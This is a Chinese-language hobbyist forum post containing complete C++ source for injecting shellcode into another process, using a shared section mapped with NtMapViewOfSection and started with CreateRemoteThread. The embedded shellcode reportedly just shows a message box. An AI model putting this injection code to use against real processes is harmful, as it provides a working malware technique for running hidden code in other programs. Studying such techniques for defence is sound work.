看流星社区

 找回密码
 注册账号
查看: 4110|回复: 0

利用NtMapViewOfSection创建一个共享内存并执行远程线程

[复制链接]

该用户从未签到

发表于 2013-5-10 11:49:06 | 显示全部楼层 |阅读模式
今天自己花了点时间,用C++写了一个利用NtMapViewOfSection创建一个共享内存并执行远程线程,在目标进程执行一个SHELLCODE(弹出一个信息框),代码写的很烂,但愿能看懂,如下:

#include <windows.h>
#include <iostream>
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef LONG NTSTATUS, *PNTSTATUS;
typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );


int main(){
   
NTSTATUS Status;
LARGE_INTEGER SectionOffset = {0};
ULONG ViewSize = 1024*4;
ULONG Protect;
LPVOID ViewBase = 0;
LPVOID ViewBase2 = 0;
DWORD ThreadId;
DWORD ShellCode[] = {0x4268486A, 0x682E4A2E, 0x00737365, 0x6F725068, 0x78456863, 0x6F687469, 0x68004178, 0x42656761, 0x73654D68, 0x33726873,
0x00680032, 0x68657375, 0x41797261, 0x62694C68, 0x6F4C6872, 0xD48B6461, 0xA164C033, 0x00000030, 0x8B0C408B, 0x8BAD1C70,
0x52500840, 0x2FE80C6A, 0x5B000000, 0x530DC383, 0xC383D0FF, 0x0B6A5307, 0x00001DE8, 0xC3835B00, 0x53006A18, 0xFF006A53,
0x000CBAD0, 0x2B580000, 0xE85253DA, 0x00000002, 0xD88BD0FF, 0x8B3CC083, 0x81C30300, 0x00455038, 0x8B497500, 0xC3037840,
0x8BC88B50, 0x408B1449, 0x55C30320, 0xD233E88B, 0x03008B51, 0x8BF88BC3, 0x8B142474, 0xFC10244C, 0x1775A6F3, 0x8B04C483,
0x8B042444, 0xC3031C40, 0x0302E2C1, 0x03008BC2, 0x420BEBC3, 0x8B04C583, 0xCCE259C5, 0x595DC033, 0x000004C2};

HMODULE hDll = LoadLibrary( "ntdll.dll" );
if (!hDll) return 0;
func_NtMapViewOfSection NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");
if (!NtMapViewOfSection) return 0 ;
HANDLE hMappedFile = CreateFileMapping (INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE , 0, 1024*4, NULL);
if (!hMappedFile)return 0 ;
LONG PID;
std::cout << "请输入目标进程PID" << std::endl;
std::cin >> PID ;
HANDLE hProcess1=OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID);//手动设置目标进程PID
if (!hProcess1) return 0 ;
HANDLE hProcess2=OpenProcess(PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId());
if (!hProcess2){
CloseHandle (hProcess1);
CloseHandle (hMappedFile);
return 0 ;
}
Status = NtMapViewOfSection(hMappedFile,
                                        hProcess1,
                                        &ViewBase,//映射在目标进程的虚拟地址
                                        0,
                                        0,
                                        0,
                                        &ViewSize,
                                        ViewShare,
                                        0,
                                        PAGE_EXECUTE_READWRITE);
Status = NtMapViewOfSection(hMappedFile,
                                        hProcess2,
                                        &ViewBase2,//映射在自己进程的虚拟地址
                                        0,
                                        0,
                                        0,
                                        &ViewSize,
                                        ViewShare,
                                        0,
                                        PAGE_EXECUTE_READWRITE)|Status;
if (!(Status>=0))
{
           CloseHandle (hProcess1);   
           CloseHandle (hProcess2);   
           CloseHandle (hMappedFile);     
           return 0 ;
}
RtlMoveMemory(ViewBase2,&ShellCode,sizeof ShellCode ); //通过共享内存写入代码(SHELLCODE),使其同时映射到目标进程
CreateRemoteThread(hProcess1,0,0,(LPTHREAD_START_ROUTINE)ViewBase,LPVOID(0),0,&ThreadId);//执行目标进程的共享内存(已经有了SHELLCODE)
CloseHandle (hMappedFile);
CloseHandle (hProcess1);   
CloseHandle (hProcess2);   
return 0;
}
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-5-14 12:20

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表